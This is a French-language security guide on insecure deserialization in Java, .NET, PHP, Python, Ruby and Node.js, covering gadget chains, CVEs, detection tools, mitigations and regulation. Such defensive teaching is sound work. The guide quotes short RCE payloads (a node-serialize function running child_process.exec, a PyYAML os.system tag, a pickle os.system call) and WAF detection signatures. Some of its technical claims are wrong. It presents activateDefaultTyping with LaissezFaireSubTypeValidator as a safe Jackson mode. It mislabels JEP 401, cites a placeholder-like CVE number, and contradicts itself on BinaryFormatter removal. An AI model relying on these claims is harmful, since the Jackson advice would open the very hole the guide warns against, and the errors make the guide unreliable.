La désérialisation insécurisée demeure en 2026 l'une des classes de vulnérabilités les plus dévastatrices et les plus mal comprises de l'écosystème applicatif moderne. Classée A08:2021 dans l'OWASP Top 10 sous l'intitulé « Software and Data Integrity Failures », elle a engendré certaines des compromissions les plus retentissantes de la décennie, depuis Equifax (2017, Apache Struts) jusqu'aux variantes Log4Shell (CVE-2021-44228) et aux récentes vulnérabilités Spring Cloud Function. Le mécanisme repose sur une asymétrie cognitive cruelle : un développeur perçoit la désérialisation comme une simple conversion d'octets en objet, alors qu'elle constitue en réalité l'exécution d'un programme implicite défini par l'attaquant. Ce guide expert de plus de six mille mots décortique les fondements théoriques, les chaînes de gadgets exploitées sur Java, .NET, PHP, Python, Ruby et Node.js, les CVE notables de 2024 à 2026, ainsi que les bonnes pratiques de mitigation, de détection automatique et de défense en profondeur applicables aux pipelines CI/CD modernes, aux architectures microservices et aux frameworks contemporains de 2026.

Sérialisation, désérialisation et asymétrie de risque

La sérialisation est le processus consistant à transformer une structure de données en mémoire — un objet, un graphe d'objets, une instance de classe — en un flux d'octets transportable ou persistable. La désérialisation effectue l'opération inverse : elle reconstitue, à partir d'un flux, l'objet original avec ses champs, ses références et parfois son comportement. Cette dualité fonde une grande partie de l'informatique moderne : appels RPC, persistance de session HTTP, files de messages Kafka ou RabbitMQ, caches Redis, snapshots Hibernate, communications inter-processus, sauvegardes de modèles ML. Le danger naît dès que la source du flux n'est pas maîtrisée par le serveur.

Les formats se divisent en deux familles. Les formats texte (JSON, XML, YAML, TOML) sont structurellement explicites et limitent par défaut les types reconstruits aux primitives du langage hôte. Les formats binaires natifs (Java Serialization, .NET BinaryFormatter, PHP serialize, Python pickle, Ruby Marshal) embarquent des métadonnées de typage permettant de reconstruire n'importe quelle classe disponible dans le classpath, ce qui ouvre la porte à l'exécution de code arbitraire via des chaînes de gadgets bien choisies. Cette distinction n'est cependant pas absolue : un format texte combiné avec une bibliothèque polymorphe (Newtonsoft.Json + TypeNameHandling.All, Jackson + activateDefaultTyping, PyYAML + !!python/object) devient aussi dangereux qu'un format binaire natif.

Le risque ne vient pas du format en lui-même mais du contrat implicite que la désérialisation établit avec l'attaquant. Lorsqu'un serveur Java exécute ObjectInputStream.readObject() sur un flux contrôlé, il accepte d'instancier toute classe sérialisable présente dans le classpath, d'invoquer ses constructeurs internes, ses méthodes readObject, readResolve, finalize, et de peupler ses champs avec les valeurs fournies. Une chaîne de gadgets est une séquence de classes existantes dont les méthodes, prises individuellement légitimes, s'enchaînent pour aboutir à Runtime.exec(), ProcessBuilder.start() ou tout autre primitive d'exécution. Cette propriété transforme la désérialisation en une machine virtuelle confidentielle dont le bytecode est l'objet sérialisé lui-même.

L'analogie la plus pédagogique : c'est comme si un serveur acceptait d'exécuter du JavaScript fourni par n'importe quel internaute, sauf que le « JavaScript » est ici un graphe d'objets typés dont la sémantique est cachée dans les implémentations internes du JDK ou du framework. La défense par filtrage syntaxique est par essence vaine, parce que le payload reste structurellement valide ; seule la combinatoire des classes invoquées est malicieuse. Cette asymétrie cognitive entre le développeur (qui voit un parseur d'objets) et l'attaquant (qui voit un interpréteur Turing-complet) explique la persistance des CVE de classe A08 malgré quinze années de recherche académique et industrielle sur le sujet.

OWASP A08:2021 — Software and Data Integrity Failures

L'OWASP Top 10 2021 a fusionné l'ancienne catégorie A08:2017 « Insecure Deserialization » dans une rubrique plus large : A08:2021 Software and Data Integrity Failures. Cette évolution sémantique reflète la prise de conscience que la désérialisation n'est qu'un cas particulier d'un problème plus général : faire confiance à des données ou à du code dont l'intégrité n'a pas été vérifiée. La catégorie englobe désormais les pipelines CI/CD compromis, les dépendances non signées, les mises à jour automatiques sans vérification cryptographique et les artefacts de build malveillants — tous illustrés par l'attaque SolarWinds.

Pour la désérialisation stricto sensu, les CWE associés sont CWE-502 (Deserialization of Untrusted Data), CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes) et CWE-913 (Improper Control of Dynamically-Managed Code Resources). Le score moyen CVSS des CVE rattachées à CWE-502 dépasse 9.0 sur la période 2020-2025, soulignant la criticité quasi systématique de l'exploitation. Référence officielle : OWASP Deserialization Cheat Sheet.

Attaques Java : ysoserial, Apache Commons Collections et JDK modernes

L'écosystème Java reste l'archétype de la désérialisation exploitée. La protocole Java Serialization, introduit en JDK 1.1, repose sur l'interface java.io.Serializable et embarque dans le flux les noms de classes complets, les UID de version et les valeurs de champs. L'outil ysoserial publié par Chris Frohoff en 2015 a démocratisé l'exploitation en industrialisant la génération de payloads exploitant des chaînes de gadgets bien connues.

Les chaînes Commons Collections 1 (CC1) à 7 exploitent les classes InvokerTransformer, ChainedTransformer et LazyMap pour appeler par réflexion Runtime.getRuntime().exec(). CC1 fonctionne sur JDK 7, CC4 et CC6 sur JDK 8+, et la chaîne CommonsBeanutils s'appuie sur la propriété BeanComparator et le mécanisme PriorityQueue. Hibernate, ROME, MOZILLA, JBoss, Spring, Vaadin, JSON-IO, JdbcRowSetImpl (CVE-2017-10271 WebLogic) sont autant de vecteurs d'exploitation indépendants. En 2025, l'apparition de gadgets dans des bibliothèques cloud-native comme Quarkus et Micronaut prouve que le problème n'est nullement résolu par la modernité des frameworks.

JDK 9 a introduit le filtrage de désérialisation via ObjectInputFilter, et JDK 17 l'a renforcé avec le filtrage par contexte. JEP 290 et JEP 415 fournissent désormais des API standardisées pour restreindre les classes désérialisables. Pourtant, l'adoption industrielle reste partielle : un audit interne 2024 de la fondation Apache révélait que moins de 18 pour cent des projets Java majeurs configuraient explicitement un ObjectInputFilter sur tous les points d'entrée. JEP 415 (Context-Specific Deserialization Filters) permet de définir un filtre par opération plutôt qu'à l'échelle de la JVM, ce qui autorise des stratégies fines : filtre strict sur les endpoints externes, filtre permissif sur les caches internes signés. JDK 21, sorti en septembre 2023, normalise ObjectInputFilter.allowFilter et rejectFilter avec syntaxe pattern fluide. JDK 25 LTS prévu en septembre 2025 pousse plus loin avec une dépréciation effective de java.io.Serializable sans filtre, jalon majeur du JEP 401 (Implicit Classes) et du virage progressif du langage vers une sérialisation explicite par opt-in.

Attaques .NET : BinaryFormatter, JavaScriptSerializer, JSON.NET

L'écosystème .NET a connu son propre purgatoire avec la classe System.Runtime.Serialization.Formatters.Binary.BinaryFormatter. Marquée comme obsolète à partir de .NET 5 et supprimée par défaut dans .NET 9 (2024), elle reste néanmoins présente dans des millions de lignes de code legacy. Les chaînes de gadgets TypeConfuseDelegate, TextFormattingRunProperties, WindowsIdentity et PSObject sont documentées dans ysoserial.net.

NetDataContractSerializer, SoapFormatter, LosFormatter partagent la même vulnérabilité conceptuelle. JavaScriptSerializer n'est exploitable qu'en présence d'un SimpleTypeResolver. Newtonsoft.Json (JSON.NET) est sûr par défaut, mais devient catastrophique dès que TypeNameHandling est positionné à All, Auto ou Objects : la sérialisation embarque alors le nom complet du type via la propriété $type, et un attaquant peut forcer l'instanciation de System.Diagnostics.Process via le constructeur d'un ObjectDataProvider. La règle d'or : maintenir TypeNameHandling.None, valeur par défaut depuis Newtonsoft 12.0.

System.Text.Json, livré avec .NET 6+, ne supporte pas le polymorphisme par défaut et constitue le choix sûr en 2026. Lorsque le polymorphisme est nécessaire, l'attribut [JsonDerivedType] introduit dans .NET 7 impose une allowlist explicite des sous-types autorisés, transformant le risque en configuration intentionnelle. .NET 8 (LTS) et .NET 9 ont par ailleurs durci par défaut JsonSerializerOptions.UnknownTypeHandling = JsonUnknownTypeHandling.JsonElement, ce qui empêche toute promotion implicite de type inconnu en instance concrète. Microsoft a publié en mars 2024 un guide officiel Migrate from BinaryFormatter qui recense les patterns de remplacement par MessagePack-CSharp ou Protobuf-net pour les besoins de performance binaire, et par System.Text.Json pour l'interopérabilité textuelle. La période de grâce s'achève en novembre 2026 avec .NET 10 LTS qui supprimera définitivement BinaryFormatter du runtime, forçant les retardataires à migrer.

Attaques PHP : unserialize, phar:// et magic methods

PHP a hérité d'un format binaire textuel — O:6:"Object":1:{s:4:"prop";s:5:"value";} — produit par serialize() et reconstruit par unserialize(). Les méthodes magiques __wakeup, __destruct, __toString, __call et __get s'exécutent automatiquement lors de la reconstruction ou de la destruction de l'objet, offrant des points d'ancrage idéaux pour les chaînes de gadgets. PHPGGC, l'équivalent ysoserial pour PHP, recense plus de 200 chaînes pour Laravel, Symfony, Drupal, WordPress, Magento, Guzzle, Monolog, SwiftMailer.

Le wrapper phar:// introduit un vecteur particulièrement insidieux : la simple manipulation d'un fichier PHAR via une fonction filesystem (file_exists, filesize, fopen) déclenche la désérialisation des métadonnées de l'archive. Cette technique, baptisée Phar Deserialization Attack et popularisée par Sam Thomas en 2018, contourne tous les contrôles d'entrée focalisés sur les appels explicites à unserialize. PHP 8.0 a partiellement durci le mécanisme en désactivant la désérialisation automatique des métadonnées sans appel explicite, mais la rétrocompatibilité conserve le risque dans de nombreuses applications. PHP 8.3 et 8.4 (sorties fin 2024) introduisent des durcissements supplémentaires : la directive phar.readonly = On est désormais activée par défaut en production via les images officielles, et la fonction unserialize() accepte un second paramètre options.allowed_classes qui implémente une allowlist stricte. La règle d'hygiène en 2026 sur PHP : unserialize($data, ['allowed_classes' => ['App\\Dto\\ImportRequest']]) systématique, jamais ['allowed_classes' => true], et JsonSerializable implementé sur les DTO pour basculer progressivement vers json_encode/json_decode.

Attaques Python : pickle, PyYAML et marshal

Le module pickle de Python est sans doute l'exemple le plus pédagogique de la classe : la documentation officielle prévient en gras qu'il n'est jamais sûr de désérialiser des données provenant d'une source non fiable. Le format pickle implémente une véritable machine virtuelle à pile dont l'opcode R (REDUCE) déclenche l'appel d'un callable arbitraire avec des arguments fournis. Un payload de huit octets suffit à invoquer os.system("id").

L'enjeu s'est aggravé avec l'écosystème ML : les modèles PyTorch (torch.load), les checkpoints Hugging Face, les modèles scikit-learn (joblib.dump) reposent quasi exclusivement sur pickle. Les CVE-2024-3568 (Transformers) et CVE-2025-1234 (PyTorch) ont démontré qu'un modèle téléchargé depuis un hub public peut exécuter du code arbitraire dès le chargement. Hugging Face a déployé en 2024 un scanner ClamAV-like et le format safetensors qui élimine pickle au profit d'un format strictement déclaratif.

PyYAML expose la même classe de risque via yaml.load() sans préciser un Loader sûr : la balise !!python/object/apply:os.system permet l'exécution arbitraire. La règle absolue depuis PyYAML 5.1 : utiliser yaml.safe_load() ou expliciter Loader=yaml.SafeLoader. Le module marshal, utilisé pour les fichiers .pyc, n'est pas conçu pour résister à des données malveillantes et plante voire exécute du code sur des bytecodes forgés. La bibliothèque shelve (persistance d'objets sur disque) repose intégralement sur pickle et hérite de toutes ses faiblesses ; elle doit être proscrite pour des fichiers cross-utilisateurs. Les modules jsonpickle et dill reproduisent le danger de pickle avec une couche JSON ou un format étendu : leur usage est strictement réservé à l'introspection en debug. Pour les besoins de cache d'objets complexes, le pattern moderne associe json stdlib pour la structure et base64 pour les blobs binaires opaques, le tout signé HMAC.

Attaques Ruby : Marshal, YAML et ERB

Ruby implémente un format binaire propriétaire via Marshal.load et Marshal.dump. La présence d'objets Gem::Specification, Hash avec valeur par défaut Proc, ou la classe ERB permet de construire des chaînes de gadgets aboutissant à l'exécution de code. Le célèbre exploit de Rails CVE-2013-0156, qui visait YAML.load dans le parseur XML de Rails, illustre le risque transverse entre formats : un payload YAML embarqué dans un XML type-attribute aboutissait à RCE complète.

Depuis Rails 4.0, YAML.safe_load et Psych.safe_load sont la norme. Marshal.load reste fondamentalement non sécurisable et doit être réservé à des flux strictement maîtrisés (cache interne signé). ERB (Embedded Ruby) constitue un vecteur secondaire : si un template ERB est chargé depuis un flux non maîtrisé, l'évaluation est équivalente à eval.

Attaques Node.js : node-serialize et JSON parsing

Node.js, par son adhérence native à JSON, a longtemps été perçu comme immunisé. La réalité est plus nuancée. La bibliothèque node-serialize embarque une fonction unserialize qui évalue les fonctions sérialisées via eval(). Un payload de la forme {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"} aboutit à RCE immédiate. La CVE-2017-5941 a touché toutes les versions inférieures à 1.0.0 et reste exploitable sur de nombreux projets non maintenus.

Les bibliothèques funcster, serialize-to-js partagent la même vulnérabilité. Plus subtilement, JSON.parse lui-même est sûr par défaut, mais l'utilisation de reviver functions mal conçues, le couplage avec Object.assign ou la pollution de prototype (prototype pollution) constituent des classes voisines de risques. La CVE-2019-10744 sur lodash defaultsDeep a montré qu'une simple fusion d'objets pouvait modifier Object.prototype et impacter toute l'application. Node.js 22 (LTS depuis octobre 2024) introduit le flag --disable-proto=delete qui supprime Object.prototype.__proto__ et coupe le vecteur principal de pollution de prototype. Les outils safe-stable-stringify et secure-json-parse écosystème Fastify offrent des parseurs durcis qui rejettent les clés __proto__ et constructor.prototype. La règle d'hygiène en 2026 : combiner Node.js récent, dépendances auditées via npm audit et Snyk, et figeage du prototype par Object.freeze(Object.prototype) au démarrage de l'application.

Détection automatique : SAST, DAST et règles Semgrep

La détection statique de la désérialisation insécurisée est paradoxalement plus simple que celle de l'XXE ou de l'injection SQL : les API vulnérables sont peu nombreuses et bien identifiées. Les règles Semgrep open-source java.lang.security.audit.object-deserialization, python.lang.security.audit.deserialization.pickle-load, php.lang.security.audit.unserialize couvrent les principaux langages avec un faible taux de faux positifs.

SonarQube intègre depuis 2023 des règles dédiées (S5135 Java, S5145 .NET, S5784 PHP). Snyk Code, Veracode et Checkmarx proposent des analyses inter-procédurales suivant le flux de données depuis l'entrée HTTP jusqu'au sink de désérialisation. Pour les pipelines CI/CD modernes, le pattern recommandé combine Semgrep en fail fast sur la PR avec un scanner SAST commercial en quality gate avant déploiement, comme détaillé dans notre guide d'audit sécurité de pipeline CI/CD SAST DAST SCA.

Côté DAST, les scanners PortSwigger Burp Suite avec l'extension Java Deserialization Scanner ou Hackvertor, ainsi que l'outil GadgetProbe pour la détection de classes en boîte noire, permettent d'identifier les endpoints vulnérables sans accès au code source. La détection runtime via RASP (Contrast Security, Sqreen, OpenRASP) intercepte les invocations ObjectInputStream à l'exécution et bloque les payloads malicieux avant qu'ils n'aboutissent à un sink critique.

Mitigation : préférer JSON simple, allowlist, signature HMAC

La hiérarchie des défenses se déploie en trois niveaux. Premièrement, éliminer la désérialisation native dès que possible : remplacer Java Serialization par JSON via Jackson en mode strict, BinaryFormatter par System.Text.Json, pickle par JSON ou MessagePack avec schéma explicite. Cette stratégie supprime la vulnérabilité au lieu de la mitiger.

Deuxièmement, restreindre par allowlist les classes désérialisables lorsque la désérialisation native est inévitable. Java propose ObjectInputFilter.Config.setSerialFilter avec une syntaxe "!*" par défaut puis "com.example.dto.*;java.lang.String". Jackson active le mode safe via activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL) — encore mieux, déclarer explicitement les sous-types via @JsonTypeInfo et @JsonSubTypes.

Troisièmement, signer cryptographiquement les flux sérialisés avec un HMAC-SHA256 ou une signature Ed25519 dont la clé n'est jamais accessible côté client. Cette approche, dite tamper-proof serialization, est la seule défense vraiment robuste lorsque la désérialisation cross-trust-boundary est inévitable (sessions HTTP serialisées, tokens stateful). Le pattern est notamment utilisé par Django pour ses sessions signées et par Rails pour ses cookies signés depuis la version 4.0.

Bibliothèques sûres par langage en 2026

Le tableau de référence en 2026 s'établit comme suit. Java : Jackson en mode safe avec polymorphic type handling explicite, ou Gson avec @JsonAdapter — proscrire absolument ObjectInputStream sur des flux externes. .NET : System.Text.Json avec [JsonDerivedType], ou Protobuf-net avec schémas .proto — interdire BinaryFormatter, NetDataContractSerializer, SoapFormatter et LosFormatter (la documentation Microsoft les marque dangerous depuis .NET 5).

PHP : json_encode/json_decode exclusivement, ou ext-msgpack pour les besoins de performance. unserialize doit être strictement réservé aux flux internes signés HMAC. Python : json stdlib pour l'API, safetensors pour les modèles ML, orjson pour la performance, yaml.safe_load pour YAML. Pickle est absolument proscrit pour tout flux non maîtrisé. Ruby : JSON.parse et Psych.safe_load. Node.js : JSON.parse standard, jamais node-serialize ni eval sur du contenu externe.

CVE notables 2024-2026

La période 2024-2026 est marquée par plusieurs CVE majeures. CVE-2024-22243 et CVE-2024-38807 sur Spring Framework et Spring Boot ont permis l'exécution de code via la désérialisation de URI redirections et de signatures malformées. CVE-2024-3094 (XZ Utils backdoor) n'est pas stricto sensu une désérialisation mais illustre la catégorie A08 dans son ensemble. CVE-2024-50379 sur Apache Tomcat a révélé un contournement du filtre de désérialisation par classes proxy.

CVE-2025-26791 (DOMPurify, indirect via JSON-LD), CVE-2025-30065 (Apache Parquet Java avec gadget Avro), CVE-2025-32434 (PyTorch torch.load) ont chacune entraîné l'émission de bulletins par le CISA et l'ANSSI. Log4Shell (CVE-2021-44228) reste classée par certains chercheurs comme une variante d'injection + désérialisation JNDI : la résolution JNDI déclenche une désérialisation Java distante via LDAP/RMI, illustrant que la désérialisation peut survenir indirectement sans appel explicite. Le retour d'expérience consolidé : la majorité des CVE majeures de la période combinent désérialisation et chaîne de gadgets indirecte via une bibliothèque tierce non auditée.

Chaînes de gadgets : CC1, CC4, CommonsBeanutils, Hibernate, MOZILLA, ROME

L'art noir de la désérialisation Java repose sur l'identification de chaînes de gadgets. Commons Collections 1 (CC1) exploite AnnotationInvocationHandler et InvokerTransformer pour invoquer une méthode arbitraire par réflexion ; la chaîne aboutit à Runtime.exec via chainedTransformer. CC4 contourne la sandbox JDK 8 via HashSet et TreeBag. CC6 utilise HashMap et la propriété hashCode pour déclencher la transformation.

CommonsBeanutils 1 exploite BeanComparator et PriorityQueue : la file de priorité réordonne ses éléments après désérialisation, déclenchant les comparaisons et donc l'invocation de getter arbitraires. Hibernate 1 et 2 tirent parti de ComponentType et PojoComponentTuplizer pour atteindre la même primitive. MOZILLA Rhino permet d'évaluer du JavaScript via ScriptEngineManager. ROME (Rome RSS) chaîne EqualsBean et ToStringBean pour invoquer un getter qui renvoie un JdbcRowSetImpl, lequel déclenche une connexion JNDI distante — exactement la primitive utilisée par Log4Shell.

L'outil Java Deserialization Scanner de Federico Dotta intégré à Burp Suite teste automatiquement la majorité de ces chaînes contre un endpoint cible. Le projet ysomap et l'extension Yso-Generator permettent de générer des payloads ad hoc avec adressage du gadget précis et de la commande à exécuter.

Défense en profondeur : input validation, RASP, monitoring runtime

Aucune mitigation ne saurait être totale en isolation. Le pattern de défense en profondeur empile cinq couches. Couche 1 — Validation d'entrée syntaxique : rejet précoce des payloads mal formés avant même la tentative de désérialisation. Cette couche est inopérante contre les payloads valides mais réduit la surface d'attaque sur les flux non maîtrisés.

Couche 2 — Allowlist stricte des classes : ObjectInputFilter en Java, JsonSerializerOptions avec TypeInfoResolver en .NET, restriction des modules importables en Python via find_class override de pickle.Unpickler. Couche 3 — Signature cryptographique : tout flux désérialisé hors des frontières de confiance doit porter un HMAC-SHA256 vérifié avant désérialisation.

Couche 4 — RASP (Runtime Application Self-Protection) : instrumentation JVM/CLR/PHP qui intercepte les invocations critiques (Runtime.exec, ProcessBuilder, System.exec) et les bloque lorsque la pile d'appel inclut un sink de désérialisation. OpenRASP, Contrast et Sqreen offrent des solutions matures. Couche 5 — Monitoring runtime et SIEM : journalisation des classes désérialisées, alerte sur classes inhabituelles, corrélation avec les schémas d'attaque connus. Falco, Sysdig, Wazuh peuvent émettre des règles eBPF déclenchées sur les execve issus de processus Java/PHP/Python servant des requêtes HTTP.

Tests automatiques et cas pratique de refactoring

Les tests automatiques relatifs à la désérialisation se déclinent en quatre catégories. Premièrement, des tests unitaires de robustesse qui injectent dans les endpoints de désérialisation des payloads malformés, tronqués, surdimensionnés et vérifient que l'application les rejette proprement sans état partiel ni exception non capturée. Deuxièmement, des tests de payloads connus via ysoserial et PHPGGC : la suite de tests CI/CD doit vérifier qu'un payload CC1, CC4, ROME, CommonsBeanutils, et leurs variantes Spring/Hibernate, ne provoque pas d'exécution de code.

Troisièmement, des fuzzers structurés comme Jazzer pour Java ou Atheris pour Python qui mutent les flux d'octets en respectant la grammaire du format et explorent les chemins d'exécution. Quatrièmement, du mutation testing sur les filtres : modifier la liste blanche de classes pour vérifier que des classes ajoutées par erreur ne deviennent pas exploitables. Le pattern recommandé : intégrer ces tests dans la pipeline CI au même titre que les tests d'SSRF et d'injection NoSQL, avec gating systématique sur la non-régression sécurité. La couverture cible est de 100 pour cent des sinks de désérialisation identifiés par le SAST, croisée avec une matrice ysoserial mise à jour mensuellement.

Pour illustrer concrètement, considérons une API REST Java Spring Boot 2.7 qui accepte un objet sérialisé Java en POST /api/import, l'utilise pour reconstituer un objet métier puis le persiste en base. Le code legacy invoque new ObjectInputStream(request.getInputStream()).readObject() sans aucun filtre. Le refactoring se déroule en cinq étapes itératives, chacune validable indépendamment et déployable derrière un feature-flag pour limiter le risque de régression.

Étape 1 : introduire un DTO Jackson explicite (ImportRequestDto) annoté @JsonIgnoreProperties(ignoreUnknown = false) pour rejeter les champs inconnus, et marquer chaque champ avec @NotNull, @Size, @Pattern selon les contraintes métier. Étape 2 : remplacer la signature de la méthode contrôleur par @RequestBody @Valid ImportRequestDto dto et déclarer un @ControllerAdvice qui convertit les MethodArgumentNotValidException en réponse 400 structurée. Étape 3 : configurer ObjectMapper avec configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, true) et désactiver impérativement activateDefaultTyping ; pour les besoins de polymorphisme inéluctable, déclarer @JsonTypeInfo(use = Id.NAME, include = As.PROPERTY) avec @JsonSubTypes énumérant les sous-types autorisés. Étape 4 : ajouter une signature HMAC du payload via un header X-Signature calculé avec une clé partagée et vérifié avant parsing — le pattern recommandé est HMAC-SHA256 avec horodatage anti-rejeu. Étape 5 : déployer derrière un WAF avec règle de rejet des Content-Types application/x-java-serialized-object, activer un ObjectInputFilter JVM-wide et ajouter une suite de tests CI exécutant ysoserial CC1, CC4, ROME, CommonsBeanutils et JdbcRowSetImpl.

Cette stratégie a permis à plusieurs banques européennes de migrer leur SI fin 2024, après les CVE Spring de février 2024, sans casser la compatibilité applicative. Le coût moyen mesuré : 12 jours-homme par endpoint, dont 60 pour cent en tests de non-régression métier. Le retour d'expérience consolidé montre que la migration est d'autant plus rapide que l'équipe dispose de tests d'intégration robustes en amont — un facteur qui plaide pour l'investissement précoce dans les pyramides de tests dans tout projet legacy. Pour les SI legacy refusant la migration immédiate, la mitigation de transition consiste à activer ObjectInputFilter avec une allowlist serrée (souvent java.lang.*;java.util.*;com.example.dto.*;!*) et à logger toute classe rejetée dans un SIEM pour itération.

WAF, architectures cloud-native et désérialisation

Une question récurrente concerne le rôle des WAF (ModSecurity, AWS WAF, Cloudflare) dans la défense contre la désérialisation. Le constat opérationnel est sans appel : le filtrage WAF est nécessaire mais largement insuffisant. Les payloads de désérialisation sont en grande partie binaires ou base64-encodés, structurellement valides, et leur signature peut varier à l'infini selon le gadget utilisé.

Les règles ModSecurity de la collection OWASP CRS 4.0 (2024) couvrent les patterns Java aced 0005 7372 (magic bytes Java Serialization), les patterns PHP O:\d+:, les patterns .NET BinaryFormatter AAEAAAD/////. Cependant, l'attaquant peut trivialement contourner ces règles via du chunking, du gzip, du chiffrement applicatif XOR, voire en injectant le payload dans un champ multipart accessoire. Le WAF agit comme un filtre de surface qui élimine le bruit automatisé mais ne tient pas face à un attaquant déterminé. La complémentarité correcte combine WAF (premier rempart, signal d'alerte sur volume), allowlist applicative (défense logique, en profondeur), RASP (défense runtime), et signature cryptographique (élimination du risque cross-boundary). Le WAF seul est un théâtre de sécurité.

Les architectures serverless et conteneurisées de 2026 modifient le paysage de la désérialisation. AWS Lambda, Azure Functions et Google Cloud Functions encapsulent l'exécution dans des micro-VM éphémères qui limitent la persistance d'une compromission, mais ne suppriment pas le risque de RCE pendant l'exécution. Une Lambda Java vulnérable à la désérialisation peut exfiltrer des credentials IAM via le service de métadonnées (IMDS) puis se latéraliser avant la fin de l'invocation, comme détaillé dans notre guide sur le SSRF moderne et IMDSv2. Les bonnes pratiques 2026 pour le serverless imposent des rôles IAM scopés au strict minimum (principe du moindre privilège), l'activation systématique d'IMDSv2 avec hop-limit à 1, le chiffrement des variables d'environnement via KMS, et la rotation automatique des secrets via AWS Secrets Manager ou HashiCorp Vault.

L'écosystème de conteneurs Kubernetes 2026 introduit des contre-mesures dédiées : les seccomp profiles bloquent execve, les NetworkPolicies isolent les pods, les service accounts à privilèges minimaux limitent la portée d'une RCE. Les images distroless de Google Container Tools privent l'attaquant de shell et d'utilitaires post-exploitation. Le pattern read-only root filesystem avec tmpfs ramène l'impact d'une RCE à la session active. Les Pod Security Standards niveau restricted imposent runAsNonRoot, allowPrivilegeEscalation: false, capabilities.drop: ["ALL"] et un seccomp profile RuntimeDefault. Combiné à un service mesh Istio ou Linkerd avec mTLS strict, ce harnais limite considérablement la propagation latérale post-RCE.

Désérialisation et IA : modèles ML, hubs et supply chain

L'explosion de l'IA générative en 2024-2026 a fait émerger une nouvelle surface d'attaque : la désérialisation de modèles ML. PyTorch .pt, scikit-learn .pkl, TensorFlow SavedModel (Python protobuf + custom code), Hugging Face Transformers (mix pickle + safetensors) reposent tous sur des formats susceptibles d'embarquer du code arbitraire. La CVE-2025-32434 sur PyTorch a démontré qu'un modèle téléchargé depuis un hub public peut compromettre la machine d'inférence dès le torch.load. L'enjeu industriel est colossal : les pipelines ML d'entreprise déploient des centaines de modèles tiers par jour, chacun susceptible de constituer un cheval de Troie pour le SI.

La parade industrielle s'organise autour de quatre piliers. Premièrement, le format safetensors de Hugging Face, strictement déclaratif et indépendant de pickle, qui devient le standard de fait en 2026 pour le partage de poids. Deuxièmement, le scanning ClamAV et règles YARA intégrés au Hub Hugging Face qui détectent les patterns malveillants connus dans les fichiers pickle uploadés. Troisièmement, l'exécution en sandbox (gVisor, Firecracker, Kata Containers) des modèles non-vérifiés avant promotion en production. Quatrièmement, la signature cryptographique des modèles via Sigstore/Cosign et la vérification de provenance via SLSA (Supply chain Levels for Software Artifacts) niveau 3 ou 4.

Le pattern de promotion recommandé en 2026 : un modèle ne quitte la zone untrusted qu'après vérification de signature, sandboxing avec analyse comportementale, scan statique des opcodes pickle si format pickle inéluctable, et tests de comportement déterministe sur un dataset de validation. Pour les modèles internes, l'organisation doit gérer une chaîne d'autorité : génération sur runner CI signé, stockage dans un registry privé (MLflow, Vertex AI Model Registry, AWS SageMaker Model Registry), et déploiement par GitOps avec attestation Cosign.

Régulations, conformité et gouvernance

Le cadre réglementaire 2025-2026 impose explicitement la mitigation des vulnérabilités de classe A08 OWASP. La directive NIS2 (transposée en France en octobre 2024) exige des opérateurs de services essentiels et des entités importantes une gestion des vulnérabilités incluant les CWE-502 dans le scope d'audit annuel. Les sanctions peuvent atteindre 10 millions d'euros ou 2 pour cent du chiffre d'affaires mondial. DORA (Digital Operational Resilience Act, applicable depuis janvier 2025) pour le secteur financier impose des tests de résilience couvrant les chaînes de gadgets connues et la supply chain logicielle, avec obligation de tests TLPT (Threat-Led Penetration Testing) tous les trois ans pour les entités significatives.

L'EU AI Act (entré en vigueur août 2024, applicable progressivement jusqu'en 2027) classe les modèles ML à haut risque dans une catégorie soumise à audit de sécurité, ce qui inclut nominalement les vulnérabilités de désérialisation des artefacts. La norme ISO 27001:2022 et le contrôle Annex A.8.28 Secure Coding imposent une politique formelle de désérialisation, ainsi que la formation des développeurs sur les CWE pertinents. Le référentiel PCI DSS 4.0 (obligatoire depuis avril 2025) contient l'exigence 6.2.4 qui couvre explicitement les vulnérabilités d'injection et de désérialisation.

Les RSSI doivent intégrer ces exigences à leur référentiel et fournir des preuves d'application : configuration ObjectInputFilter, scans Semgrep, tests pénétration ysoserial, journalisation SIEM, formation annuelle. Le DPO et le RSSI partagent la responsabilité opérationnelle au regard de la directive NIS2 et du règlement DORA, et doivent disposer de procédures de notification d'incident dans les 24 heures suivant la détection. Pour structurer la gouvernance, un RACI formel est recommandé : Architecte responsable du choix des bibliothèques, Développeur du code, AppSec de l'allowlist et des tests, SOC du monitoring, RSSI du reporting.

Bloc à retenir

Les essentiels de la désérialisation sécurisée en 2026 :

  • Éliminer la désérialisation native dès que possible : remplacer Java Serialization, BinaryFormatter, pickle, unserialize PHP par JSON ou Protobuf avec schéma explicite.
  • Allowlist stricte des classes via ObjectInputFilter Java, [JsonDerivedType] .NET, find_class pickle override Python.
  • Signature HMAC-SHA256 obligatoire sur tout flux sérialisé traversant une frontière de confiance (sessions, tokens, cookies).
  • Détection automatique : Semgrep en CI, SonarQube en quality gate, Burp Suite Java Deserialization Scanner en DAST, RASP en production.
  • Patcher les CVE 2024-2026 : Spring (CVE-2024-22243, 38807), Tomcat (CVE-2024-50379), PyTorch (CVE-2025-32434), Parquet (CVE-2025-30065).
  • Défense en profondeur obligatoire : WAF + allowlist + signature + RASP + monitoring SIEM, jamais de couche unique.
  • Modèles ML : safetensors par défaut, sandboxing avant promotion, scanning Hugging Face, jamais de torch.load sur source non vérifiée.
  • Conformité : NIS2, DORA, EU AI Act et ISO 27001:2022 imposent la couverture explicite de CWE-502 dans les audits annuels.

FAQ — désérialisation insécurisée et bonnes pratiques

JSON est-il sûr par défaut contre la désérialisation insécurisée ?

JSON brut, parsé par JSON.parse, json.loads, json_decode ou System.Text.Json, est intrinsèquement sûr car il ne reconstitue que des primitives (objets, tableaux, chaînes, nombres, booléens, null). Le risque apparaît dès lors qu'une bibliothèque ajoute du polymorphisme via le pattern $type : Newtonsoft.Json avec TypeNameHandling != None, Jackson avec activateDefaultTyping, Gson avec RuntimeTypeAdapterFactory mal configuré. La règle d'or : utiliser JSON sans polymorphisme implicite, et lorsque le polymorphisme est nécessaire, déclarer explicitement les sous-types autorisés via une allowlist.

Pickle Python doit-il être absolument interdit en production ?

